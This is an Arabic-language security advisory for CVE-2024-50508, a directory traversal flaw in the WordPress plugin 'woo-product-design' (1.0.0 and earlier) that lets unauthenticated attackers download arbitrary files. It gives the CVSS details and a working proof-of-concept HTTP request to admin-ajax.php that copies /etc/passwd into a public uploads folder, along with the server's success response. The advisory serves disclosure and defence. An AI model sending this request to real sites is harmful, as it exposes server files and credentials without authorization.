CVE-2024-50508

وضع تصميم منتج وووكوميرس <= 1.0.0 - تنزيل ملف عشوائي غير مصادق عليه

الوصف

إن إضافة تصميم منتج وووكوميرس لووردبريس معرضة لثغرة اجتياز الدليل في جميع الإصدارات حتى 1.0.0. وهذا يتيح للمهاجمين غير المصادق عليهم قراءة محتويات ملفات عشوائية على الخادم، والتي قد تحتوي على معلومات حساسة.

التفاصيل

• النوع: إضافة
• الاسم الفريد: woo-product-design
• الإصدار المتأثر: 1.0.0
• درجة CVSS: 7.5
• تصنيف CVSS: عالية
• متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2024-50508
• الحالة: مغلقة

إثبات المفهوم

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

action=pc_added_uploaded_image&file[path]=/etc/passwd

{
  "path": "/var/www/html/wp-content/uploads/wcpc/images/uploaded_images/passwd",
  "message": "Image Uploaded Successfully",
  "url": "https://wp-dev.ddev.site/wp-content/uploads/wcpc/images/uploaded_images/passwd",
  "status": "success"
}